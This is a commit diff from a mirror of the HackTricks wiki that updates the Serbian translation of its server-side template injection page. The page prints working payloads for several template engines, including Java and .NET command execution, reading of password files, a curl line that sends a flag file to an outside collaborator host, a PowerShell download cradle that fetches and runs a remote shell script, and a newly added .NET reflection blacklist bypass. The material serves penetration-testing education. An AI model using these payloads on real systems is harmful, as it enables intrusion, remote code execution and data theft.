mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/ssti-server-side-template-injection/READ
This commit is contained in:
parent
c45c6ec388
commit
4e12dcf278
@ -16,22 +16,22 @@ Na primer, napadač bi mogao da kreira zahtev sa payload-om poput ovog:
|
|||||||
```
|
```
|
||||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||||
```
|
```
|
||||||
Payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja template direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše template engine-om, potencijalno stičući kontrolu nad serverom.
|
Payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja template direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše engine-om za template, potencijalno stičući kontrolu nad serverom.
|
||||||
|
|
||||||
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u template. Implementacija validacije unosa i korišćenje tehnika eskapiranja koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
|
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što se ubaci u template. Implementacija validacije unosa i korišćenje tehnika za izbegavanje konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
|
||||||
|
|
||||||
### Detekcija
|
### Detekcija
|
||||||
|
|
||||||
Da bi se detektovao Server-Side Template Injection (SSTI), inicijalno, **fuzzing template-a** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u template i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju:
|
Da bi se detektovao Server-Side Template Injection (SSTI), inicijalno, **fuzzing template-a** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u template i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju:
|
||||||
|
|
||||||
- Izbačene greške, koje otkrivaju ranjivost i potencijalno template engine.
|
- Izbačene greške, koje otkrivaju ranjivost i potencijalno engine za template.
|
||||||
- Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke.
|
- Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke.
|
||||||
- **Plaintext kontekst**: Razlikovati od XSS-a proverom da li server evaluira template izraze (npr. `{{7*7}}`, `${7*7}`).
|
- **Plaintext kontekst**: Razlikovati od XSS-a proverom da li server evaluira template izraze (npr., `{{7*7}}`, `${7*7}`).
|
||||||
- **Kontekst koda**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime.
|
- **Kontekst koda**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime.
|
||||||
|
|
||||||
#### Faza identifikacije
|
#### Faza identifikacije
|
||||||
|
|
||||||
Identifikacija template engine-a uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji uzrokuju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog template engine-a.
|
Identifikacija engine-a za template uključuje analizu poruka o greškama ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji izazivaju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog engine-a za template.
|
||||||
|
|
||||||
#### Identifikacija putem payload-a
|
#### Identifikacija putem payload-a
|
||||||
|
|
||||||
@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
|||||||
|
|
||||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||||
```
|
```
|
||||||
**Freemarker - Obilaženje sandboks-a**
|
**Freemarker - Obilaženje sandboxes**
|
||||||
|
|
||||||
⚠️ radi samo na Freemarker verzijama ispod 2.3.30
|
⚠️ radi samo na Freemarker verzijama ispod 2.3.30
|
||||||
```java
|
```java
|
||||||
@ -184,7 +184,7 @@ Razmotrite sledeći kod, koji bi mogao biti podložan eksploataciji:
|
|||||||
<a th:href="@{__${path}__}" th:title="${title}">
|
<a th:href="@{__${path}__}" th:title="${title}">
|
||||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||||
```
|
```
|
||||||
Ovo ukazuje da, ako motor za obradu šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su:
|
To znači da ako engine za obradu šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su:
|
||||||
```
|
```
|
||||||
http://localhost:8082/(7*7)
|
http://localhost:8082/(7*7)
|
||||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||||
@ -203,7 +203,7 @@ el-expression-language.md
|
|||||||
```
|
```
|
||||||
**Zaobilaženje filtera**
|
**Zaobilaženje filtera**
|
||||||
|
|
||||||
Mogu se koristiti višestruki izrazi varijabli, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`.
|
Više izraza varijabli može se koristiti, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`.
|
||||||
|
|
||||||
- Pročitajte `/etc/passwd`
|
- Pročitajte `/etc/passwd`
|
||||||
```java
|
```java
|
||||||
@ -242,7 +242,7 @@ print(base_payload + end_payload)
|
|||||||
- [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
- [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||||||
- [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
- [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||||||
|
|
||||||
### Spring View Manipulation (Java)
|
### Manipulacija prikazom u Spring-u (Java)
|
||||||
```java
|
```java
|
||||||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||||||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||||||
@ -261,7 +261,7 @@ Stara verzija Pebble ( < verzija 3.0.9):
|
|||||||
```java
|
```java
|
||||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||||
```
|
```
|
||||||
Nova verzija Pebble :
|
Nova verzija Pebble:
|
||||||
```java
|
```java
|
||||||
{% raw %}
|
{% raw %}
|
||||||
{% set cmd = 'id' %}
|
{% set cmd = 'id' %}
|
||||||
@ -309,9 +309,9 @@ Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.c
|
|||||||
|
|
||||||
### Hubspot - HuBL (Java)
|
### Hubspot - HuBL (Java)
|
||||||
|
|
||||||
- `{% %}` delimičari izjava
|
- `{% %}` delimitatori za izjave
|
||||||
- `{{ }}` delimičari izraza
|
- `{{ }}` delimitatori za izraze
|
||||||
- `{# #}` delimičari komentara
|
- `{# #}` delimitatori za komentare
|
||||||
- `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
- `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||||||
- `{{'a'.toUpperCase()}}` - "A"
|
- `{{'a'.toUpperCase()}}` - "A"
|
||||||
- `{{'a'.concat('b')}}` - "ab"
|
- `{{'a'.concat('b')}}` - "ab"
|
||||||
@ -319,7 +319,7 @@ Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.c
|
|||||||
- `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
|
- `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
|
||||||
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||||
|
|
||||||
Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkriven je [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/).
|
Pretražite "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrijte [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/).
|
||||||
```java
|
```java
|
||||||
{{request.isDebug()}}
|
{{request.isDebug()}}
|
||||||
//output: False
|
//output: False
|
||||||
@ -437,8 +437,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||||||
- `{{7*7}} = 49`
|
- `{{7*7}} = 49`
|
||||||
- `${7*7} = ${7*7}`
|
- `${7*7} = ${7*7}`
|
||||||
- `{{7*'7'}} = 49`
|
- `{{7*'7'}} = 49`
|
||||||
- `{{1/0}} = Greška`
|
- `{{1/0}} = Error`
|
||||||
- `{{foobar}} Ništa`
|
- `{{foobar}} Nothing`
|
||||||
```python
|
```python
|
||||||
#Get Info
|
#Get Info
|
||||||
{{_self}} #(Ref. to current application)
|
{{_self}} #(Ref. to current application)
|
||||||
@ -491,7 +491,7 @@ $templates = new League\Plates\Engine('/path/to/templates');
|
|||||||
// Render a template
|
// Render a template
|
||||||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||||
```
|
```
|
||||||
Šablon stranice:
|
Stranica šablona:
|
||||||
```php
|
```php
|
||||||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||||||
|
|
||||||
@ -515,7 +515,7 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
|
|||||||
|
|
||||||
### PHPlib i HTML_Template_PHPLIB (PHP)
|
### PHPlib i HTML_Template_PHPLIB (PHP)
|
||||||
|
|
||||||
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) je isto što i PHPlib, ali portovano na Pear.
|
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) je isto što i PHPlib, ali portovan na Pear.
|
||||||
|
|
||||||
`authors.tpl`
|
`authors.tpl`
|
||||||
```html
|
```html
|
||||||
@ -611,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||||||
|
|
||||||
### patTemplate (PHP)
|
### patTemplate (PHP)
|
||||||
|
|
||||||
> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koji se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove
|
> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koja se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove
|
||||||
```xml
|
```xml
|
||||||
<patTemplate:tmpl name="page">
|
<patTemplate:tmpl name="page">
|
||||||
This is the main page.
|
This is the main page.
|
||||||
@ -667,7 +667,7 @@ URLencoded:
|
|||||||
### JsRender (NodeJS)
|
### JsRender (NodeJS)
|
||||||
|
|
||||||
| **Šablon** | **Opis** |
|
| **Šablon** | **Opis** |
|
||||||
| ---------- | -------------------------------------- |
|
|------------|----------------------------------------|
|
||||||
| | Evaluiraj i prikaži izlaz |
|
| | Evaluiraj i prikaži izlaz |
|
||||||
| | Evaluiraj i prikaži HTML kodiran izlaz |
|
| | Evaluiraj i prikaži HTML kodiran izlaz |
|
||||||
| | Komentar |
|
| | Komentar |
|
||||||
@ -767,7 +767,7 @@ range.constructor(
|
|||||||
|
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||||
|
|
||||||
### Ostali Ruby
|
### Drugi Ruby
|
||||||
|
|
||||||
<figure><img src="../../images/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
|
<figure><img src="../../images/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
@ -814,7 +814,7 @@ Pogledajte sledeću stranicu da biste naučili trikove o **zaobilaženju izvrša
|
|||||||
|
|
||||||
[Zvanična stranica](http://jinja.pocoo.org)
|
[Zvanična stranica](http://jinja.pocoo.org)
|
||||||
|
|
||||||
> Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandboxed izvršni okruženje, široko korišćen i licenciran pod BSD.
|
> Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandbox okruženje za izvršavanje, široko korišćen i licenciran pod BSD.
|
||||||
|
|
||||||
- `{{7*7}} = Greška`
|
- `{{7*7}} = Greška`
|
||||||
- `${7*7} = ${7*7}`
|
- `${7*7} = ${7*7}`
|
||||||
@ -919,8 +919,8 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
|
|||||||
|
|
||||||
- `<%= 7*7 %>` = 49
|
- `<%= 7*7 %>` = 49
|
||||||
- `<%= "foo" %>` = foo
|
- `<%= "foo" %>` = foo
|
||||||
- `<%= foo %>` = Ništa
|
- `<%= foo %>` = Nothing
|
||||||
- `<%= response.write(date()) %>` = \<Datum>
|
- `<%= response.write(date()) %>` = \<Date>
|
||||||
```xml
|
```xml
|
||||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||||
```
|
```
|
||||||
@ -928,9 +928,26 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
|
|||||||
|
|
||||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||||
|
|
||||||
|
### .Net zaobilaženje ograničenja
|
||||||
|
|
||||||
|
.NET Reflection mehanizmi se mogu koristiti za zaobilaženje crnih lista ili klasa koje nisu prisutne u sklopu. DLL-ovi se mogu učitati u vreme izvođenja sa metodama i svojstvima dostupnim iz osnovnih objekata.
|
||||||
|
|
||||||
|
Dll-ovi se mogu učitati sa:
|
||||||
|
|
||||||
|
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - iz datotečnog sistema.
|
||||||
|
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - direktno iz zahteva.
|
||||||
|
|
||||||
|
Potpuna izvršna komanda:
|
||||||
|
```
|
||||||
|
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
|
||||||
|
```
|
||||||
|
**Više informacija**
|
||||||
|
|
||||||
|
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
|
||||||
|
|
||||||
### Mojolicious (Perl)
|
### Mojolicious (Perl)
|
||||||
|
|
||||||
Čak i ako je to Perl, koristi oznake poput ERB u Ruby-ju.
|
Čak i ako je to perl, koristi oznake poput ERB u Ruby-ju.
|
||||||
|
|
||||||
- `<%= 7*7 %> = 49`
|
- `<%= 7*7 %> = 49`
|
||||||
- `<%= foobar %> = Error`
|
- `<%= foobar %> = Error`
|
||||||
@ -942,7 +959,7 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
|
|||||||
|
|
||||||
U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
|
U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
|
||||||
|
|
||||||
- `{{ . }}`: Otkrije strukturu podataka koja je uneta. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
|
- `{{ . }}`: Otkrije strukturu podataka koja je prosleđena. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
|
||||||
- `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
|
- `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
|
||||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
|
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
|
||||||
|
|
||||||
@ -950,7 +967,7 @@ U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa s
|
|||||||
|
|
||||||
**XSS Eksploatacija**
|
**XSS Eksploatacija**
|
||||||
|
|
||||||
Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira u `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
Sa paketom `text/template`, XSS može biti jednostavan direktnim umetanjem payload-a. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira u `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||||
|
|
||||||
vbnet Copy code
|
vbnet Copy code
|
||||||
|
|
||||||
@ -958,7 +975,7 @@ vbnet Copy code
|
|||||||
|
|
||||||
RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
|
RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
|
||||||
|
|
||||||
Za RCE putem SSTI u Go-u, metode objekta mogu biti pozvane. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
|
Za RCE putem SSTI u Go-u, mogu se pozvati metode objekta. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
|
||||||
```go
|
```go
|
||||||
func (p Person) Secret (test string) string {
|
func (p Person) Secret (test string) string {
|
||||||
out, _ := exec.Command(test).CombinedOutput()
|
out, _ := exec.Command(test).CombinedOutput()
|
||||||
@ -970,9 +987,9 @@ return string(out)
|
|||||||
- [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
|
- [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
|
||||||
- [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
- [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||||||
|
|
||||||
### Više Eksploatacija
|
### Više Eksploata
|
||||||
|
|
||||||
Proverite ostatak [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) za više eksploatacija. Takođe možete pronaći zanimljive informacije o tagovima u [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
Proverite ostatak [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) za više eksploata. Takođe možete pronaći zanimljive informacije o tagovima u [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||||
|
|
||||||
## BlackHat PDF
|
## BlackHat PDF
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user